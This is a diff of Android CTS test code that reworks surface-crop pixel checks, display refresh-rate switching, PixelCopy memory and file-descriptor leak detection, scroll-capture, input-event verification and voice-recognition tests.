+                        setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                                DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
+                                PixelColor.MAGENTA, PixelColor.GREEN);
+                        setCrop(surfaceControl, new Rect(0, 0, 50, 50));
+                    }
+                },
+
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                    @Override
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
-
-        // The rest of the area should be the background color (yellow)
-        verifyTest(callback,
-                new PixelChecker(PixelColor.YELLOW) { // 7500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 7000 && pixelCount < 8000;
-                    }
-                });
-
     }
 
     @Test
     public void testSurfaceTransaction_setCropLarge() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
                     @Override
                     public void surfaceCreated(SurfaceHolder holder) {
                         long surfaceControl = createFromWindow(holder.getSurface());
@@ -1588,34 +1574,22 @@
                                 PixelColor.MAGENTA, PixelColor.GREEN);
                         setCrop(surfaceControl, new Rect(0, 0, 150, 150));
                     }
-                };
+                },
 
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) {
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) {
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.MAGENTA) {
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.GREEN) {
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else if (x >= halfWidth && y < halfHeight) {
+                            return BLUE;
+                        } else if (x < halfWidth && y >= halfHeight) {
+                            return GREEN;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 0651e69..96aa43b 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
 import android.content.Context;
@@ -39,6 +40,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.DisplayUtil;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -188,9 +190,9 @@
     @SmallTest
     @Test
     public void testRefreshRateCallbacksIsSyncedWithDisplayManager() {
-        if (mSupportedPeriods.length <= 1) {
-            return;
-        }
+        assumeTrue(mSupportedPeriods.length >= 2);
+        assumeTrue(findModeForSeamlessSwitch().isPresent());
+
         int initialMatchContentFrameRate = 0;
         try {
 
@@ -219,15 +221,10 @@
     private void checkRefreshRateIsCurrentAndSwitch(int refreshRate) {
         assertEquals(Math.round(mDefaultDisplay.getRefreshRate()), refreshRate);
 
-        Optional<Mode> nextMode = Arrays.stream(mDefaultDisplay.getSupportedModes())
-                .sorted((left, right) ->
-                        Float.compare(right.getRefreshRate(), left.getRefreshRate()))
-                .filter(mode ->  Math.round(mode.getRefreshRate()) != refreshRate)
-                .findFirst();
+        Optional<Mode> maybeNextMode = findModeForSeamlessSwitch();
+        assertTrue(maybeNextMode.isPresent());
+        Mode mode = maybeNextMode.get();
 
-        assertTrue(nextMode.isPresent());
-
-        Mode mode = nextMode.get();
         Handler handler = new Handler(Looper.getMainLooper());
         handler.post(() -> {
             Window window = mTestActivityRule.getActivity().getWindow();
@@ -237,6 +234,15 @@
         });
     }
 
+    private Optional<Mode> findModeForSeamlessSwitch() {
+        Mode activeMode = mDefaultDisplay.getMode();
+        int refreshRate = Math.round(mDefaultDisplay.getRefreshRate());
+        return Arrays.stream(mDefaultDisplay.getSupportedModes())
+                .filter(mode -> DisplayUtil.isModeSwitchSeamless(activeMode, mode))
+                .filter(mode ->  Math.round(mode.getRefreshRate()) != refreshRate)
+                .findFirst();
+    }
+
     private int toSwitchingType(int matchContentFrameRateUserPreference) {
         switch (matchContentFrameRateUserPreference) {
             case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
@@ -249,5 +255,4 @@
                 return -1;
         }
     }
-
 }
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 7b63e41..af2b120 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -64,7 +64,7 @@
                 .getUiAutomation();
 
         // Inject key down event for back
-        long currentTime = System.currentTimeMillis();
+        long currentTime = SystemClock.uptimeMillis();
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_BACK, 0), true);
 
@@ -79,7 +79,7 @@
         assertTrue(mActivity.sawBackDown());
         assertFalse(mActivity.sawBackUp());
 
-        currentTime = System.currentTimeMillis();
+        currentTime = SystemClock.uptimeMillis();
         // Inject key up event for back
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
                 KeyEvent.KEYCODE_BACK, 0), true);
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index b0c01af..502170d 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -35,11 +35,11 @@
 import android.graphics.PixelFormat;
 import android.graphics.Rect;
 import android.graphics.SurfaceTexture;
+import android.hardware.HardwareBuffer;
 import android.media.Image;
 import android.media.ImageReader;
 import android.media.ImageWriter;
 import android.os.Debug;
-import android.os.Debug.MemoryInfo;
 import android.util.Half;
 import android.util.Log;
 import android.view.PixelCopy;
@@ -68,6 +68,7 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.model.Statement;
 
+import java.io.File;
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.concurrent.CountDownLatch;
@@ -635,7 +636,10 @@
         assertEquals(message, a, Half.toFloat(cA), 0.01);
     }
 
-    private void runGcAndFinalizersSync() {
+    private static void runGcAndFinalizersSync() {
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+
         final CountDownLatch fence = new CountDownLatch(1);
         new Object() {
             @Override
@@ -655,24 +659,61 @@
         } catch (InterruptedException ex) {
             throw new RuntimeException(ex);
         }
-        Runtime.getRuntime().gc();
     }
 
-    private void assertNotLeaking(int iteration, MemoryInfo start, MemoryInfo end) {
+    private static File sProcSelfFd = new File("/proc/self/fd");
+    private static int getFdCount() {
+        return sProcSelfFd.listFiles().length;
+    }
+
+    private static void assertNotLeaking(int iteration,
+            Debug.MemoryInfo start, Debug.MemoryInfo end) {
         Debug.getMemoryInfo(end);
-        if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+        assertNotEquals(0, start.getTotalPss());
+        assertNotEquals(0, end.getTotalPss());
+        if (end.getTotalPss() - start.getTotalPss() > 5000 /* kB */) {
             runGcAndFinalizersSync();
             Debug.getMemoryInfo(end);
-            if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+            if (end.getTotalPss() - start.getTotalPss() > 7000 /* kB */) {
                 // Guarded by if so we don't continually generate garbage for the
                 // assertion string.
                 assertEquals("Memory leaked, iteration=" + iteration,
                         start.getTotalPss(), end.getTotalPss(),
-                        2000 /* kb */);
+                        7000 /* kb */);
             }
         }
     }
 
+    private static void runNotLeakingTest(Runnable test) {
+        Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+        Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+        int fdCount = -1;
+        // Do a warmup to reach steady-state memory usage
+        for (int i = 0; i < 50; i++) {
+            test.run();
+        }
+        runGcAndFinalizersSync();
+        Debug.getMemoryInfo(meminfoStart);
+        fdCount = getFdCount();
+        // Now run the test
+        for (int i = 0; i < 2000; i++) {
+            if (i % 100 == 5) {
+                assertNotLeaking(i, meminfoStart, meminfoEnd);
+                final int curFdCount = getFdCount();
+                if (curFdCount - fdCount > 10) {
+                    Assert.fail(String.format("FDs leaked. Expected=%d, current=%d, iteration=%d",
+                            fdCount, curFdCount, i));
+                }
+            }
+            test.run();
+        }
+        assertNotLeaking(2000, meminfoStart, meminfoEnd);
+        final int curFdCount = getFdCount();
+        if (curFdCount - fdCount > 10) {
+            Assert.fail(String.format("FDs leaked. Expected=%d, current=%d", fdCount, curFdCount));
+        }
+    }
+
     @Test
     @LargeTest
     public void testNotLeaking() {
@@ -690,20 +731,7 @@
             // Test a fullsize copy
             Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
 
-            MemoryInfo meminfoStart = new MemoryInfo();
-            MemoryInfo meminfoEnd = new MemoryInfo();
-
-            for (int i = 0; i < 1000; i++) {
-                if (i == 2) {
-                    // Not really the "start" but by having done a couple
-                    // we've fully initialized any state that may be required,
-                    // so memory usage should be stable now
-                    runGcAndFinalizersSync();
-                    Debug.getMemoryInfo(meminfoStart);
-                }
-                if (i % 100 == 5) {
-                    assertNotLeaking(i, meminfoStart, meminfoEnd);
-                }
+            runNotLeakingTest(() -> {
                 int result = mCopyHelper.request(activity.getView(), bitmap);
                 assertEquals("Copy request failed", PixelCopy.SUCCESS, result);
                 // Make sure nothing messed with the bitmap
@@ -712,9 +740,7 @@
                 assertEquals(Config.ARGB_8888, bitmap.getConfig());
                 assertBitmapQuadColor(bitmap,
                         Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
-            }
-
-            assertNotLeaking(1000, meminfoStart, meminfoEnd);
+            });
 
         } catch (InterruptedException e) {
             Assert.fail("Interrupted, error=" + e.getMessage());
@@ -792,7 +818,9 @@
 
     @Test
     public void testBufferQueueCrop() throws InterruptedException {
-        ImageReader reader = ImageReader.newInstance(100, 100, PixelFormat.RGBA_8888, 1);
+        ImageReader reader = ImageReader.newInstance(100, 100, PixelFormat.RGBA_8888, 1,
+                HardwareBuffer.USAGE_CPU_WRITE_OFTEN | HardwareBuffer.USAGE_CPU_READ_OFTEN
+                        | HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE);
         ImageWriter writer = ImageWriter.newInstance(reader.getSurface(), 1);
         Image image = writer.dequeueInputImage();
         Image.Plane plane = image.getPlanes()[0];
@@ -829,8 +857,6 @@
     }
 
     private static int getPixelFloatPos(Bitmap bitmap, float xpos, float ypos) {
-        Log.d(TAG, "getPixelFloatPos(): x=" + ((int) (bitmap.getWidth() * xpos))
-                                + " y=" + ((int) (bitmap.getHeight() * ypos)));
         return bitmap.getPixel((int) (bitmap.getWidth() * xpos), (int) (bitmap.getHeight() * ypos));
     }
 
@@ -854,7 +880,6 @@
             // and some closer to the center point, to ensure that our quadrants are even
             float below = .45f;
             float above = .55f;
-            Log.d(TAG, "bitmap w=" + bitmap.getWidth() + " h=" + bitmap.getHeight());
             assertEquals("Top left II " + Integer.toHexString(topLeft) + ", actual= "
                             + Integer.toHexString(getPixelFloatPos(bitmap, below, below)),
                     topLeft, getPixelFloatPos(bitmap, below, below));
diff --git a/tests/tests/view/src/android/view/cts/ScrollCaptureScrollViewCtsActivity.java b/tests/tests/view/src/android/view/cts/ScrollCaptureScrollViewCtsActivity.java
index 6d39468..d35d301 100644
--- a/tests/tests/view/src/android/view/cts/ScrollCaptureScrollViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ScrollCaptureScrollViewCtsActivity.java
@@ -17,26 +17,27 @@
 package android.view.cts;
 
 import android.app.Activity;
+import android.app.Dialog;
 import android.os.Bundle;
-import android.util.TypedValue;
-import android.widget.LinearLayout;
-import android.widget.ScrollView;
-import android.widget.TextView;
 
 import androidx.annotation.Nullable;
 
 public class ScrollCaptureScrollViewCtsActivity extends Activity {
+    private Dialog mDialog;
+
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        ScrollView scrollView = new ScrollView(this);
-        LinearLayout linearLayout = new LinearLayout(this);
-        linearLayout.setOrientation(LinearLayout.VERTICAL);
-        TextView text = new TextView(this);
-        text.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 40);
-        text.setText(R.string.long_text);
-        linearLayout.addView(text);
-        scrollView.addView(linearLayout);
-        setContentView(scrollView);
+        mDialog = new Dialog(this, android.R.style.Theme_DeviceDefault_Dialog_NoActionBar);
+        mDialog.setContentView(R.layout.scrollview_layout);
+        mDialog.show();
+        // Prevent any decorations or dialog frame, rounded corners, etc
+        mDialog.getWindow().setBackgroundDrawableResource(android.R.color.white);
     }
+
+    public Dialog getDialog() {
+        return mDialog;
+    }
+
+
 }
diff --git a/tests/tests/view/src/android/view/cts/ScrollCaptureTargetTest.java b/tests/tests/view/src/android/view/cts/ScrollCaptureTargetTest.java
index ce2d558..4952339 100644
--- a/tests/tests/view/src/android/view/cts/ScrollCaptureTargetTest.java
+++ b/tests/tests/view/src/android/view/cts/ScrollCaptureTargetTest.java
@@ -41,8 +41,9 @@
 import android.view.ScrollCaptureTarget;
 import android.view.View;
 
-import androidx.test.filters.SmallTest;
-import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
@@ -55,18 +56,23 @@
  * Tests of {@link ScrollCaptureTarget}.
  */
 @Presubmit
-@SmallTest
+@MediumTest
 @RunWith(AndroidJUnit4.class)
 public class ScrollCaptureTargetTest {
     @Rule
     public ExpectedException mExpectedException = ExpectedException.none();
 
-    MockView mTargetView;
-    MockScrollCaptureCallback mCallback;
+    @Rule
+    public ActivityTestRule<ScrollCaptureScrollViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ScrollCaptureScrollViewCtsActivity.class);
+
+    private MockScrollCaptureCallback mCallback;
+    private View mTargetView;
 
     @Before
     public void setUp() {
-        mTargetView = new MockView(InstrumentationRegistry.getInstrumentation().getTargetContext());
+        ScrollCaptureScrollViewCtsActivity activity = mActivityRule.getActivity();
+        mTargetView = activity.getDialog().getWindow().findViewById(R.id.scroll_view);
         mCallback = new MockScrollCaptureCallback();
     }
 
@@ -137,18 +143,26 @@
         assertEquals(new Rect(1, 2, 3, 4), target.getLocalVisibleRect());
     }
 
+    @UiThreadTest
     @Test
     public void testPositionInWindow() {
-        mTargetView.setLeftTopRightBottom(1, 2, 3, 4);
-
+        // Before calling updatePositionInWindow():
+        mTargetView.setLeftTopRightBottom(0, 0, 2, 2);
         ScrollCaptureTarget target = new ScrollCaptureTarget(mTargetView,
-                new Rect(1, 2, 3, 4), new Point(5, 6), mCallback);
+                new Rect(0, 0, 2, 2), new Point(0, 0), mCallback);
+        assertEquals(new Point(0, 0), target.getPositionInWindow());
+
+        // Verify the correct window offset is provided, and is unaffected by
+        // the position on the screen.
+        mTargetView.setLeftTopRightBottom(5, 6, 7, 8);
+        target.updatePositionInWindow();
         assertEquals(new Point(5, 6), target.getPositionInWindow());
 
-        mTargetView.setLeftTopRightBottom(100, 100, 200, 200);
-
-        target.updatePositionInWindow();
-        assertEquals(new Point(100, 100), target.getPositionInWindow());
+        // Verify the position in window is independent from the location on screen.
+        int[] onScreen = new int[2];
+        mTargetView.getLocationOnScreen(onScreen);
+        assertTrue("X position on screen expected to be > 5px", onScreen[0] > 5);
+        assertTrue("Y position on screen expected to be > 6px", onScreen[1] > 6);
     }
 
     @Test
diff --git a/tests/tests/view/src/android/view/cts/VerifyInputEventTest.java b/tests/tests/view/src/android/view/cts/VerifyInputEventTest.java
index 68d7353..c74bd43 100644
--- a/tests/tests/view/src/android/view/cts/VerifyInputEventTest.java
+++ b/tests/tests/view/src/android/view/cts/VerifyInputEventTest.java
@@ -35,6 +35,7 @@
 import android.hardware.input.InputManager;
 import android.os.SystemClock;
 import android.view.InputEvent;
+import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 import android.view.VerifiedInputEvent;
@@ -54,6 +55,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * Test {@link android.hardware.input.InputManager#verifyInputEvent(InputEvent)} functionality.
@@ -63,7 +66,7 @@
 public class VerifyInputEventTest {
     private static final int NANOS_PER_MILLISECOND = 1000000;
     private static final float STRICT_TOLERANCE = 0;
-    private static final int INJECTED_EVENT_DEVICE_ID = -1;
+    private static final int INJECTED_EVENT_DEVICE_ID = KeyCharacterMap.VIRTUAL_KEYBOARD;
 
     private InputManager mInputManager;
     private UiAutomation mAutomation;
@@ -335,12 +338,17 @@
     }
 
     private static void compareKeyFlags(int expectedFlags, VerifiedKeyEvent verified) {
+        final List<Integer> verifiedKeyFlags = Arrays.asList(
+                FLAG_CANCELED,
+                KeyEvent.FLAG_IS_ACCESSIBILITY_EVENT);
         // Separately check the value of verifiable flags
-        assertFlag(expectedFlags, FLAG_CANCELED, verified);
+        for (int flag : verifiedKeyFlags) {
+            assertFlag(expectedFlags, flag, verified);
+        }
         // All other flags should be null, because they are not verifiable
         for (int i = 0; i < Integer.SIZE; i++) {
             int flag = 1 << i;
-            if (flag == FLAG_CANCELED) {
+            if (verifiedKeyFlags.contains(flag)) {
                 continue;
             }
             assertNull(verified.getFlag(flag));
@@ -348,14 +356,18 @@
     }
 
     private static void compareMotionFlags(int expectedFlags, VerifiedMotionEvent verified) {
+        final List<Integer> verifiedMotionFlags = Arrays.asList(
+                FLAG_WINDOW_IS_OBSCURED,
+                FLAG_WINDOW_IS_PARTIALLY_OBSCURED,
+                MotionEvent.FLAG_IS_ACCESSIBILITY_EVENT);
         // Separately check the value of verifiable flags
-        assertFlag(expectedFlags, FLAG_WINDOW_IS_OBSCURED, verified);
-        assertFlag(expectedFlags, FLAG_WINDOW_IS_PARTIALLY_OBSCURED, verified);
+        for (int flag : verifiedMotionFlags) {
+            assertFlag(expectedFlags, flag, verified);
+        }
         // All other flags should be null, because they are not verifiable
         for (int i = 0; i < Integer.SIZE; i++) {
             int flag = 1 << i;
-            if (flag == FLAG_WINDOW_IS_OBSCURED
-                    || flag == FLAG_WINDOW_IS_PARTIALLY_OBSCURED) {
+            if (verifiedMotionFlags.contains(flag)) {
                 continue;
             }
             assertNull(verified.getFlag(flag));
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 6799bb4..2837c98 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -753,6 +753,9 @@
         MockCanvas canvas = new MockCanvas();
         mMockTextView.setBackgroundDrawable(new BitmapDrawable(Bitmap.createBitmap(100, 100,
                 Config.ALPHA_8)));
+        // Configure the size of the view to be non-empty to ensure canvas quickReject calls
+        // will not skip drawing the child
+        mMockTextView.setLeftTopRightBottom(0, 0, 100, 100);
         assertFalse(mMockViewGroup.drawChild(canvas, mMockTextView, 100));
         // test whether child's draw method is called.
         assertTrue(mMockTextView.isDrawCalled);
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
index ea91537..a92242a 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
@@ -142,8 +142,42 @@
         return mSurfaceView;
     }
 
+    public abstract static class MultiRectChecker extends RectChecker {
+        public MultiRectChecker(Rect boundsToCheck) {
+            super(boundsToCheck);
+        }
+
+        public abstract PixelColor getExpectedColor(int x, int y);
+    }
+
+    public static class RectChecker extends PixelChecker {
+        private final Rect mBoundsToCheck;
+
+        public RectChecker(Rect boundsToCheck) {
+            super();
+            mBoundsToCheck = boundsToCheck;
+        }
+
+        public RectChecker(Rect boundsToCheck, int expectedColor) {
+            super(expectedColor);
+            mBoundsToCheck = boundsToCheck;
+        }
+
+        public boolean checkPixels(int matchingPixelCount, int width, int height) {
+            int expectedPixelCountMin = mBoundsToCheck.width() * mBoundsToCheck.height() - 100;
+            int expectedPixelCountMax = mBoundsToCheck.width() * mBoundsToCheck.height();
+            return matchingPixelCount > expectedPixelCountMin
+                    && matchingPixelCount <= expectedPixelCountMax;
+        }
+
+        @Override
+        public Rect getBoundsToCheck(Bitmap bitmap) {
+            return mBoundsToCheck;
+        }
+    }
+
     public abstract static class PixelChecker {
-        private PixelColor mPixelColor;
+        private final PixelColor mPixelColor;
 
         public PixelChecker() {
             mPixelColor = new PixelColor();
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
index ee6ec03..6debb44 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
@@ -44,7 +44,6 @@
 import com.android.compatibility.common.util.PollingCheck;
 
 import com.google.common.collect.ImmutableList;
-import com.google.common.truth.TruthJUnit;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -88,12 +87,6 @@
         prepareDevice();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mActivity = mActivityTestRule.getActivity();
-        if (isOnDeviceTest()) {
-            // Has to happen before mActivity#init or createOnDeviceSpeechRecognizer() will fail.
-            TruthJUnit.assume()
-                    .that(SpeechRecognizer.isOnDeviceRecognitionAvailable(mActivity))
-                    .isTrue();
-        }
         mActivity.init(isOnDeviceTest(), customRecognizer());
     }
 
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index c0a850d..d936b7c 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -45,7 +45,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -161,22 +160,20 @@
         return componentName != null ? componentName.getPackageName() : "";
     }
 
-    @Ignore("b/184963112")
     @Test
     public void testNonTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
-        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
-        // is also a preinstalled app. This is a untrusted case.
+        // We treat trusted if the current voice recognizer is also a preinstalled app. This is a
+        // untrusted case.
         setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
 
         // verify that the untrusted app cannot blame the calling app mic access
-        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
     }
 
-    @Ignore("b/184963112")
     @Test
     public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
-        // This is a workaround solution for R QPR. We treat trusted if the current voice recognizer
-        // is also a preinstalled app. This is a trusted case.
+        // We treat trusted if the current voice recognizer is also a preinstalled app. This is a
+        // trusted case.
         boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
                 getComponentPackageNameFromString(mOriginalVoiceRecognizer));
         assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
index 055bf9b..a9d506a 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -90,7 +90,7 @@
         mHandler = new Handler(getMainLooper());
         mHandler.post(() -> {
             if (onDevice) {
-                mRecognizer = SpeechRecognizer.createOnDeviceSpeechRecognizer(this);
+                mRecognizer = SpeechRecognizer.createOnDeviceTestingSpeechRecognizer(this);
             } else if (customRecognizerComponent != null) {
                 mRecognizer = SpeechRecognizer.createSpeechRecognizer(this,
                         ComponentName.unflattenFromString(customRecognizerComponent));
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognizerAvailabilityTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognizerAvailabilityTest.java
index 640c6b6..0c23cf2 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognizerAvailabilityTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognizerAvailabilityTest.java
@@ -19,7 +19,6 @@
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
 import static com.google.common.truth.Truth.assertThat;
-
 import static org.junit.Assert.assertThrows;
 
 import android.content.Context;
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index 9ba5e42..8ef6608 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -33,7 +33,9 @@
         "service/src/android/voiceinteraction/service/MainInteractionService.java",
         "service/src/android/voiceinteraction/service/MainInteractionSession.java",
         "service/src/android/voiceinteraction/service/MainInteractionSessionService.java",
-        "service/src/android/voiceinteraction/service/MainRecognitionService.java"
+        "service/src/android/voiceinteraction/service/MainRecognitionService.java",
+        "service/src/android/voiceinteraction/service/EventPayloadParcelable.java",
+        "service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl"
     ],
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index 68501e2..69ae2a9 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -27,6 +27,7 @@
         <option name="force-install-mode" value="FULL"/>
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="CtsVoiceInteractionService.apk"/>
+        <option name="test-file-name" value="CtsNoRecognitionVoiceInteractionService.apk"/>
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index 7ec2d60..4a34e2a 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -49,6 +49,22 @@
     /** CDD restricts the max size of each successful hotword result is 100 bytes. */
     public static final int MAX_HOTWORD_DETECTED_RESULT_SIZE = 100;
 
+    /**
+     * Limits the max value for the hotword offset.
+     *
+     * Note: Must match the definition in
+     * frameworks/base/core/java/android/service/voice/HotwordDetectedResult.java.
+     */
+    public static final int LIMIT_HOTWORD_OFFSET_MAX_VALUE = 60 * 60 * 1000; // 1 hour
+
+    /**
+     * Limits the max value for the triggered audio channel.
+     *
+     * Note: Must match the definition in
+     * frameworks/base/core/java/android/service/voice/HotwordDetectedResult.java.
+     */
+    public static final int LIMIT_AUDIO_CHANNEL_MAX_VALUE = 63;
+
     /** Decide which VoiceInteractionService should be started for testing. */
     public static final int HOTWORD_DETECTION_SERVICE_NONE = 0;
     public static final int HOTWORD_DETECTION_SERVICE_BASIC = 1;
@@ -72,6 +88,7 @@
     public static final int HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST = 104;
     public static final int HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST = 105;
     public static final int HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST = 106;
+    public static final int HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION = 107;
 
     public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS = 1;
     public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION = 2;
@@ -242,7 +259,7 @@
         return size;
     }
 
-    public static int bitCount(int value) {
+    public static int bitCount(long value) {
         int bits = 0;
